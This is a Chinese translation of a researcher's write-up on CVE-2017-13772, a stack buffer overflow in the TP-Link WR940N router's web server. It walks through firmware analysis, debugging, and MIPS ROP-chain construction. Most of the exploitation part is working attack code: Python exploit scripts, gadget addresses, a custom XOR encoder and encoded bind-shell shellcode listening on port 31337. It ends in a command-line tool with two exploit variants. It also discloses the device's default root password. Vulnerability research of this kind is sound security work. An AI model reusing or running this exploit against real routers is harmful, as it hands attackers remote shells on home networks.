[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用

阿東發表於2018-04-20

一、介紹


在這篇文章中,我將討論我最近的發現,同時對家庭路由器進行脆弱性研究:TP-Link的WR940N家庭WiFi路由器。

這篇文章將概述識別易受攻擊的程式碼路徑的步驟,以及如何利用這些路徑來獲取遠端執行程式碼。我將首先描述我如何發現第一個漏洞,為開發完整的漏洞利用所採取的方法,然後通過顯示此漏洞提供了一個“模式”,從而將該裝置暴露給數百個漏洞。


二、解壓裝置


我進行這項研究的裝置是TP-Link的WR940N家庭WiFi路由器(硬體版本4)。一般來說,在物聯網(IoT)裝置開始研究週期時,我所做的第一件事是抓住韌體的副本並提取檔案系統。

韌體連結:https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip

TP-Link Binwalk

我們可以在這裡看到二進位制檔案已經識別和提取檔案系統。下一步是收集有關裝置上執行的資訊的幾點資訊。首先,我抓住影子檔案的內容(很快你就會知道我這麼做的原因)。

TP-Link影子檔案

我研究過的大多數嵌入式系統都使用busybox,所以重要的是要看到我們可以執行什麼,我們應該找到一些形式的shell注入。有兩種方法可以做到這一點:一個將列出所有符號連結到busybox。但是,我喜歡在chrooted環境下執行qemu下的busybox二進位制檔案,因為它會告訴我們它啟用了哪些實用程式:

Busybox檢查

雖然沒有telnetd,netcat等。但是,我們有tftp,我們可以使用,如果我們能夠獲得shell注入。最後,快速檢視rc.d / rcS顯示,路由器啟動時最後一件事情是執行httpd二進位制檔案,我以為我會從這裡開始,因為HTTP守護程式通常會顯示一個大的攻擊面。


三、初步測試 


在Web介面的初始測試期間,我確定了一個區域,導致裝置在通過輸入大字串時停止響應。這裡感興趣的是,使用者被禁止通過客戶端程式碼輸入超過50個字元:
TP-Link Web介面
顯然,這是很容易被burpsuite繞過。在等待USB來啟動裝置時,我決定將這些欄位“fuzz”一點,我發現給一個51位元組的ping_addr導致:
字元錯誤
雖然HTTP埠仍然開啟。使用一些通俗的fuzzing,我只是增加到200,發現這確實崩潰了服務:
TP-Link崩潰
所以在這一點上,我們發現一個拒絕服務(DoS)的漏洞,但這很無聊。要正確除錯正在發生的事情,我需要通過其uart介面訪問裝置,我採取的步驟來自https://wiki.openwrt.org/toh/tp-link/tl-wr940n。請注意,一旦裝置完成啟動,我們會看到一個登入提示,你可以嘗試破解上面的影子檔案中的密碼,或者你可以像我一樣去google搜尋它,root的密碼是sohoadmin
TP-Link根訪問
現在我們可以訪問裝置了 我們可以檢視一下,以確定實際執行的是什麼。我們可以在這裡看到httpd二進位制檔案負責很多程式。
TP-Link PS
最後一步是下載gdbserver。讓交叉編譯的gdbserver正常執行時遇到很多麻煩,幸運的是,如果您下載了該裝置的GPL原始碼,那麼會有一個預編譯的gdbserver二進位制檔案。我複製了使用SCP,然後經過一番嘗試和錯誤發現附加到最後一個httpd程式使我們能夠除錯實際的Web介面。

四、發現漏洞


如上所述,如果我將使用者輸入提供給比JavaScript程式碼允許的介面更大的介面,則HTTP服務將會崩潰。

在IDA中開啟二進位制檔案,清楚地顯示了正在發生的事情,從sub_453C50開始,典型的檢查請求的功能是有效和經過身份驗證的:

TP-LINK IDA 1

接下來,呼叫httpGetEnv,請注意,像“ping_addr”,“isNew”等值是通過GET引數傳遞的值。然後再來(仍然在同一個函式),ipAddrDispose被呼叫:

TP-LINK IDA 2

TP-LINK IDA 3

此功能是(第一)漏洞存在的位置。在函式開始時,將宣告一個堆疊變數var_AC。然後將它作為目標引數傳遞給對strcpy的呼叫,這裡的問題是源引數($ s1)是函式的第一個引數,並且沒有對其長度進行驗證,這是一個經典的緩衝區溢位。

TP-LINK IDA 4

TP-LINK IDA 5

五、poc驗證


我寫了一個快速的python指令碼來觸發漏洞 - 注意登入功能。當我們登入到此裝置時,會生成隨機URL。

import urllib2 
import urllib 
import base64 
import hashlibdef login(ip​​,user,pwd):
####生成b64enc形式的auth cookie('admin:'+ md5('admin'))
hash = hashlib.md5()
hash .update(pwd)
auth_string =“%s:%s”%(user,hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print“[debug]編碼授權:%s”%encoded_string ####傳送請求
url =“http://”+ ip +“/userRpm/LoginRpm.htm?Save 
= Save” req = 
urllib2.Request(url)req.add_header('Cookie','Authorization = Basic%s'%encoded_string )
resp = urllib2.urlopen(req)####伺服器為進一步的請求生成一個隨機路徑,在這裡獲取
data = resp.read()
next_url =“http://%s /%s / userRpm /”%(ip,data.split(“=”)[2] .split(“/”)[3])
print“[debug]對於下一階段,url現在是%s“%next_urlreturn(next_url,encoded_string)
def exploit(url,auth):
#控制s0,s1 + ra + shellcode 
evil =“\ x41”* 800 
params = {'ping_addr':evil,'doType':'ping','isNew' new','sendNum':'20','pSize':'64','overTime':'800','trHops':'20'}
new_url = url +“PingIframeRpm.htm?”+ urllib.urlencode(params)
req = urllib2.Request(new_url)
req.add_header('Cookie','Authorization = Basic%s'%auth)
req.add_header('Referer',url +“DiagnosticRpm.htm”)
resp = urllib2.urlopen(req)
if __name__ =='__main__': data = login(“192.168.0.1”,“admin”,“admin”) exploit(data [0],data [1])
啟動gdbserver(記住要附加到最後一個httpd程式),我在ipAddrDispose退出之前設定一個斷點,然後執行poc證明:
TP-LINK gdbserver
我們可以看到,我們已經獲得了返回地址的控制權。在執行典型的msf_pattern_create / pattern_offset例程之後,我們發現$ ra在偏移168處被覆蓋,並且我們分別控制在$ s0和$ s1的偏移量160和164。我們還有一個很好的大緩衝區堆疊來放shellcode:
TP-LINK Gdbserver 2

六、Exploit開發


為了利用這個漏洞,有一些關於Mips架構的事情要注意。第一個是快取一致性。這已經在其他部落格中被廣泛的提到(http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow )簡單來說,如果我們嘗試在堆疊上執行shellcode,CPU將檢查它是否具有來自其快取中的虛擬地址的資料,如果它將執行它,這意味著在我們觸發我們的漏洞之前的任何堆疊很可能會被處決。此外,如果我們的shellcode具有自修改屬性(IE我們使用編碼器),編碼的指令將最終被執行,而不是解碼。
快取影像

參考:http://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf

正如我發現的許多線上資源所述,重新整理快取的最佳方式是將ROP調入睡眠狀態。觸發該漏洞後,我將最終進行兩次呼叫,一次直接進入休眠狀態,第二次,我的解碼器完成了以不良位元組解碼指令(稍後再說)。

要確定要使用哪些小工具,我們必須確定可執行哪些庫及其所在的地址(請注意,預設情況下不啟用ASLR)。

httpd maps:
00400000-00587000 r-xp 00000000 1f:02 64 / usr / bin / httpd 
00597000-005b7000 rw-p 00187000 1f:02 64 / usr / bin / httpd 
005b7000-00698000 rwxp 00000000 00:00 0 [heap] 
2aaa8000 -2aaad000 r-xp 00000000 1f:02 237 /lib/ld-uClibc-0.9.30.so 
2aaad000-2aaae000 rw-p 00000000 00:00 0 
2aaae000-2aab2000 rw-s 00000000 00:06 0 / SYSV0000002f(已刪除)
2aabc000 -2aabd000 r-p 00004000 1f:02 237 /lib/ld-uClibc-0.9.30.so 
2aabd000-2aabe000 rw-p 00005000 1f:02 237 /lib/ld-uClibc-0.9.30.so 
2aabe000-2aacb000 r- xp 00000000 1f:02 218 /lib/libpthread-0.9.30.so 
2aacb000-2aada000 -p 00000000 00:00 0
2aada000-2aadb000 r-p 0000c000 1f:02 218 /lib/libpthread-0.9.30.so 
2aadb000-2aae0000 rw-p 0000d000 1f:02 218 /lib/libpthread-0.9.30.so 
2aae0000-2aae2000 rw-p 00000000 00 :00 0 
2aae2000-2ab3f000 r-xp 00000000 1f:02 238 /lib/libuClibc-0.9.30.so <... .. snip ... ..> 7edfc000-7ee00000 rwxp 00000000 00:00 0 
7effc000-7f000000 rwxp 00000000 00:00 0 
7f1fc000-7f200000 rwxp 00000000 00:00 0 
7f3fc000-7f400000 rwxp 00000000 00:00 0 
7f5fc000-7f600000 rwxp 00000000 00:00 0 
7fc8b000-7fca0000 rwxp 00000000 00:00 0 [stack]

LibuClibC-0.9.30.so看起來像一個好的目標,在IDA中開啟它,並使用http://www.devttys0.com/2013/10/mips-rop-ida-plugin/中的mipsrop.py指令碼,我們可以開始尋找小工具。

首先,我們需要一個小工具:

li $ a0,1
mov $ t9,$ s0或$ s1 #we控制$ s0和$ s1
jr $ t9
執行的第一個命令是mipsrop.set_base(0x2aae000),它將自動計算我們的實際地址。
[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用
注意第二個小工具,它返回到$ s1中的地址:
第二個小工具圖片

這是我用來喚醒sleep的gadget  它的地址將覆蓋ipAddrDispose的返回地址。

我們需要的下一個 gadget(將放入$ s1)需要呼叫sleep,但在它需要將我們要睡眠後呼叫的小工具的地址放在ra中。我們可以使用mipsrop.tail()來找到這樣的小工具

[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用

[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用

這個 gadget 執行良好,這裡唯一要注意的是它會在第一次執行時自動呼叫它。

第一次被呼叫時,$ s1將包含0x2AE3840,將用作$ t9中的地址跳轉。要讓這個小工具正常工作,我們需要準備堆疊,在第一次呼叫時,我們需要將sleep地址放在$ s1中,因此需要在0x20($ sp)。在第二次呼叫gadget時,$ t9將具有sleep地址,我們需要將要呼叫的下一個gadget的地址設定為0x24($ sp),然後我們可能需要填寫$ s0和$ s1與我們的最終gadget(將跳轉到我們的shellcode)

這給了我們以下payload:

rop =“A”* 164 + call_sleep + prepare_sleep +“B”* 0x20 + sleep_addr 
$ s0 $ s1 $ ra
rop + =“C”* 0x20 +“D”* 4 +“E”* 4 + next_gadg
呼叫的下一個 gadget (從sleep返回後)需要將堆疊指標儲存在暫存器中,然後跳轉到$ s0或$ s1中的地址(因為我們控制這兩個)。這將導致最終的 gadget 將跳轉到該暫存器(意味著它將跳轉到堆疊的某個位置,最好是shellcode的位置)。mipsrop.py中的一個方便的功能是 stack stackfinder():
[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用
看起來這些gadget似乎都很有希望。看最後一個:

[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用
知道$ s0可以從以前的 gadget 進行控制,現在需要做的就是找到一個跳轉到$ s2(這將是一個堆疊地址)的地址的 gadget
[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用
任何一個這些 gadget 都可以工作。我更喜歡使用對其他暫存器影響最小的 gadget ,我在這裡找到:
[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用
此時,有效載荷如下所示:
nop =“\ x22 \ x51 \ x44 \ x44” 
gadg_1 =“\ x2A \ xB3 \ x7C \ x60” 
gadg_2 =“\ x2A \ xB1 \ x78 \ x40” 
sleep_addr =“\ x2a \ xb3 \ x50 \ 
x90 ” stack_gadg = “\ x2A \ xAF \ x84 \ xC0” 
call_code =“\ x2A \ xB2 \ xDC \ xF0”def first_exploit(url,auth):
#trash $ s1 $ ra 
rop =“A”* 164 + gadg_2 + gadg_1 +“B “* 0x20 + sleep_addr 
rop + =”C“* 0x20 + call_code +”D“* 4 + stack_gadg + nop * 0x20 + shellcode

當這個漏洞執行時,我們最後會停在sled(滑板指令上),唯一要做的就是:寫一些shellcode,識別壞字元,並將<decode> + <sleep> + <編碼shellcode>附加到漏洞。

我發現唯一不好的位元組是0x20,然而0x00也是必須要處理的。

我努力使任何典型的有效載荷正常工作,msf_venom將無法使用mips / long_xor編碼。我也無法獲得 bowcaster 的有效載荷。我以前沒有寫過mips shellcode,所以我決定寫一個非常簡單的編碼器,它只能通過引用它們在堆疊上的偏移來對具有不良位元組的指令進行操作。

.set noreorder
#nop
addi $s5, $s6, 0x4444#xor key
li $s1, 2576980377#get address of stack
la $s2, 1439($sp)#s2 -> end of shellcode (end of all shellcode)
addi $s2, $s2, -864#decode first bad bytes
lw $t2, -263($s2)
xor $v1, $s1, $t2
sw $v1, -263($s2)#decode 2nd bad bytes
lw $t2, -191($s2)
xor $v1, $s1, $t2
sw $v1, -191($s2)<…snip…>##### sleep #####li $v0, 4166
li $t7, 0x0368
addi $t7, $t7, -0x0304
sw $t7, -0x0402($sp)
sw $t7, -0x0406($sp)
la $a0, -0x0406($sp)
syscall 0x40404
addi $t4, $t4, 4444 #nop

這顯然不是最有效的做事方式,因為它需要在堆疊上找到每個壞位元組的偏移量

(幸運的是,mips是4位元組對齊的指令,因此每個偏移是4的倍數)。它還需要計算每個壞位元組指令的編碼值。可以說這就完美了

寫一個bind shell的shellcode非常簡單。

.set noreorder 
###### sys_socket ###### 
addiu $ sp,$ sp,-32 
li $ t6,-3 
或$ a0,$ t6,$ zero 
或$ a1,$ t6,$ zero 
slti $ a2,$ 0,-1 
li $ 
v0,4183 syscall 0x40404 ##### sys_bind #### 
add $ t9,$ t9,0x4444 #nop 
andi $ s0,$ v0,0xffff 
li $ t6,-17 nor $ t6,$ t6,$ zero 
li $ t5,0x7a69 #port 31337 li $ t7,-513 
或$ t7,$ t7,$ zero 
sllv $ t7,$ t7,$ t6 
或$ t5,$ t5,$ t7 sw $ t5,-32($ sp)sw $零,-28($ sp)
sw $零,-24($ sp)
sw $ 0,-20($ sp)
或$ a0,$ s0,$ s0 
li $ t6,-17或$ a2,$ t6,$ zero 
addi $ a1,$ sp,-32 
li $ 
v0,4169 syscall 0x40404 ##### listen ##### 
li $ t7,0x7350 
or $ a0,$ s0,$ s0 
li $ a1,257 
li $ v0,4174 
syscall 0x40404 ##### accept ##### 
li $ t7,0x7350 
或$ a0,$ s0,$ s0 
slti $ a1,$ zero,-1 
slti $ a2,$ zero,-1 
li $ v0,4168 
syscall 0x40404 ##### dup fd's #### 
li $ t7,0x7350 
andi $ s0,$ v0,0xffff 
或$ a0,$ s0,$ s0 
li $ t7,-3 
或$ a1,$ t7,$ zero 
li $ v0,4063
系統呼叫0x40404 
li $ t7,0x7350 
或$ a0,$ s0,$ s0 
slti $ a1,$ zero,0x0101 
li $ v0,4063 
系統呼叫0x40404 
li $ t7,0x7350 
或$ a0,$ s0,$ s0 
slti $ a1,$零,-1 
li $ v0,4063 
系統呼叫0x40404 ###### execve ###### 
lui $ t7,0x2f2f 
ori $ t7,$ t7,0x6269 
sw $ t7,-20($ sp)
lui $ t6 ,0x6e2f 
ori $ t6,$ t6,0x7368 
sw $ t6,-16($ sp)
sw $ zero,-12($ sp)
addiu $ a0,$ sp,-20 
sw $ a0,-8($ sp)
sw $ 0,-4($ sp)
addiu $ a1,$ sp,-8 
li $ v0,4011 
syscall 0x40404 #### sleep ##### 
li $ 
v0,4166 li $ t7,0x0368
addi $ t7,$ t7,-0x0304 
sw $ t7,-0x0402($ sp)
sw $ t7,-0x0406($ sp)
la $ a0,-0x0406($ sp)
syscall 0x40404 addi 
$ t4,$ t4,4444

請注意,如果我們在呼叫execve後沒有呼叫sleep,原始程式將會當機,從而導致所有其他httpd程式當機,從而阻止我們訪問bind shell。

此漏洞的最終漏洞利用如下:

import urllib2
import urllib
import base64
import hashlib
import osdef login(ip, user, pwd):
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print “[debug] Encoded authorisation: %s” %encoded_string
#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
print “[debug] sending login to ” + url
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3])
print “[debug] Got random path for next stage, url is now %s” %next_url
return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
“\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99”
“\x27\xb2\x05\x9f”
“\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9”
“\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41”
“\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d”
“\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71”
“\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d”
“\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99”
“\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5”
“\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad”
“\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9”
“\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1”
“\x02\x2a\x18\x26\xae\x43\xff\xc1″#sleep
“\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08”
“\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”################ encoded shellcode ###############
“\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06”
“\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff”
“\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d”
“\x7a\x69”            #<————————- PORT 0x7a69 (31337)
“\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad”
“\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc”
“\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01”
“\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48”
“\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f”
“\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c”
“\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce”
“\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8”
“\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02”
“\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c”
)###### useful gadgets #######
nop = “\x22\x51\x44\x44”
gadg_1 = “\x2A\xB3\x7C\x60”
gadg_2 = “\x2A\xB1\x78\x40”
sleep_addr = “\x2a\xb3\x50\x90”
stack_gadg = “\x2A\xAF\x84\xC0”
call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth):
#                      trash      $s1        $ra
rop = “A”*164 + gadg_2  + gadg_1 + “B”*0x20 + sleep_addr
rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode
params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}
new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)print “[debug] sending exploit…”
print “[+] Please wait a few seconds before connecting to port 31337…”
req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”)                         
resp = urllib2.urlopen(req)
if __name__ == ‘__main__’:
data = login(“192.168.0.1”, “admin”, “admin”)
first_exploit(data[0], data[1])

七、進一步分析


這個漏洞有一個非常簡單的模式,使用者從GET引數輸入直接傳遞給對strcpy的呼叫,無需任何驗證。進一步分析二進位制,這種相同的模式在很多地方都呈現。
[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用
實際上,對strcpy有很多的呼叫:
[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用

對於供應商的信用,他們在幾天內為第一個漏洞提供了補丁。但是,在我的回答中,我概述了幾乎所有這些對strcpy的呼叫都需要用更安全的字串複製功能替代。為了證明這一點,我決定開發第二個漏洞,通過dnsserver2引數觸發WanStaticIpV6CfgRpm.htm中的緩衝區溢位。

這個漏洞與以前一樣,在自定義編碼器中只有一個偏移量改變(因為堆疊指標指向不同的位置)。唯一的主要區別是我在Mips exploit開發研究中沒有遇到的問題,這是一個位元組對齊。在開發這個漏洞的時候,我不斷收到非法的指令錯誤,我注意到,我的nop sled看起來不像以前那樣:

[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用

注意所有指令是否相隔2個位元組。這樣做的原因實際上在於我的有效載荷:

[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用

這個緩衝區的結尾有一個我沒有指定的輸入,強制有效載荷結束對齊。事實證明,即使這是最後,我需要填補最終的有效載荷,使其恢復對齊,一旦完成,那麼它的應用應該是:

[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用

我們得到我們的繫結shell:

[翻譯]TP-LINK (CVE-2017-13772) 遠端執行程式碼的利用

最終的程式碼包含兩個漏洞的工作漏洞如下:

(請注意,在第二個exp中,幾乎所有的GET引數都容易受到緩衝區溢位的影響)

import urllib2
import base64
import hashlib
from optparse import *
import sys
import urllibbanner = (
“___________________________________________________________________________\n”
“WR940N Authenticated Remote Code Exploit\n”
“This exploit will open a bind shell on the remote target\n”
“The port is 31337, you can change that in the code if you wish\n”
“This exploit requires authentication, if you know the creds, then\n”
“use the -u -p options, otherwise default is admin:admin\n”
“___________________________________________________________________________”
)def login(ip, user, pwd):
print “[+] Attempting to login to http://%s %s:%s”%(ip,user,pwd)
#### Generate the auth cookie of the form b64enc(‘admin:’ + md5(‘admin’))
hash = hashlib.md5()
hash.update(pwd)
auth_string = “%s:%s” %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)print “[+] Encoded authorisation: %s” %encoded_string#### Send the request
url = “http://” + ip + “/userRpm/LoginRpm.htm?Save=Save”
print “[+] sending login to ” + url
req = urllib2.Request(url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = “http://%s/%s/userRpm/” %(ip, data.split(“/”)[3])
print “[+] Got random path for next stage, url is now %s” %next_url
return (next_url, encoded_string)

#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
“\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99”
“\x27\xb2\x05\x4b” #0x27b2059f for first_exploit
“\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9”
“\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41”
“\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d”
“\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71”
“\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d”
“\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99”
“\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5”
“\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad”
“\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9”
“\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1”
“\x02\x2a\x18\x26\xae\x43\xff\xc1”

#sleep
“\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08”
“\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c”

################ encoded shellcode ###############
“\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06”
“\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff”
“\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d”
“\x7a\x69”            #<————————- PORT 0x7a69 (31337)
“\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad”
“\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc”
“\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01”
“\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48”
“\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f”
“\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50”
“\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f”
“\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c”
“\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce”
“\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8”
“\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02”
“\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa”
“\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c”
)

###### useful gadgets #######
nop = “\x22\x51\x44\x44”
gadg_1 = “\x2A\xB3\x7C\x60”
gadg_2 = “\x2A\xB1\x78\x40”
sleep_addr = “\x2a\xb3\x50\x90”
stack_gadg = “\x2A\xAF\x84\xC0”
call_code = “\x2A\xB2\xDC\xF0”

def first_exploit(url, auth):
#                      trash $s1        $ra
rop = “A”*164 + gadg_2  + gadg_1 + “B”*0x20 + sleep_addr + “C”*4
rop += “C”*0x1c + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode

params = {‘ping_addr’: rop, ‘doType’: ‘ping’, ‘isNew’: ‘new’, ‘sendNum’: ’20’, ‘pSize’: ’64’, ‘overTime’: ‘800’, ‘trHops’: ’20’}

new_url = url + “PingIframeRpm.htm?” + urllib.urlencode(params)

print “[+] sending exploit…”
print “[+] Wait a couple of seconds before connecting”
print “[+] When you are finished do http -r to reset the http service”

req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “DiagnosticRpm.htm”)

resp = urllib2.urlopen(req)

def second_exploit(url, auth):
url = url + “WanStaticIpV6CfgRpm.htm?”
#                 trash      s0      s1      s2       s3     s4      ret     shellcode
payload = “A”*111 + “B”*4 + gadg_2 + “D”*4 + “E”*4 + “F”*4 + gadg_1 + “a”*0x1c
payload += “A”*4 + sleep_addr + “C”*0x20 + call_code + “E”*4
payload += stack_gadg + “A”*4 +  nop*10 + shellcode + “B”*7
print len(payload)

params = {‘ipv6Enable’: ‘on’, ‘wantype’: ‘2’, ‘ipType’: ‘2’, ‘mtu’: ‘1480’, ‘dnsType’: ‘1’,
‘dnsserver2’: payload, ‘ipAssignType’: ‘0’, ‘ipStart’: ‘1000’,
‘ipEnd’: ‘2000’, ‘time’: ‘86400’, ‘ipPrefixType’: ‘0’, ‘staticPrefix’: ‘AAAA’,
‘staticPrefixLength’: ’64’, ‘Save’: ‘Save’, ‘RenewIp’: ‘1’}

new_url = url + urllib.urlencode(params)

print “[+] sending exploit…”
print “[+] Wait a couple of seconds before connecting”
print “[+] When you are finished do http -r to reset the http service”

req = urllib2.Request(new_url)
req.add_header(‘Cookie’, ‘Authorization=Basic %s’ %auth)
req.add_header(‘Referer’, url + “WanStaticIpV6CfgRpm.htm”)

resp = urllib2.urlopen(req)

if __name__ == ‘__main__’:
print banner
username = “admin”
password = “admin”

parser = OptionParser()
parser.add_option(“-t”, “–target”, dest=”host”,
help=”target ip address”)

parser.add_option(“-u”, “–user”, dest=”username”,
help=”username for authentication”,
default=”admin”)

parser.add_option(“-p”, “–password”, dest=”password”,
help=”password for authentication”,
default=”admin”)

(options, args) = parser.parse_args()

if options.host is None:
parser.error(“[x] A host name is required at the minimum [x]”)

if options.username is not None:
username = options.username
if options.password is not None:
password = options.password

(next_url, encoded_string) = login(options.host, username, password)

###### Both exploits result in the same bind shell ######
#first_exploit(data[0], data[1])
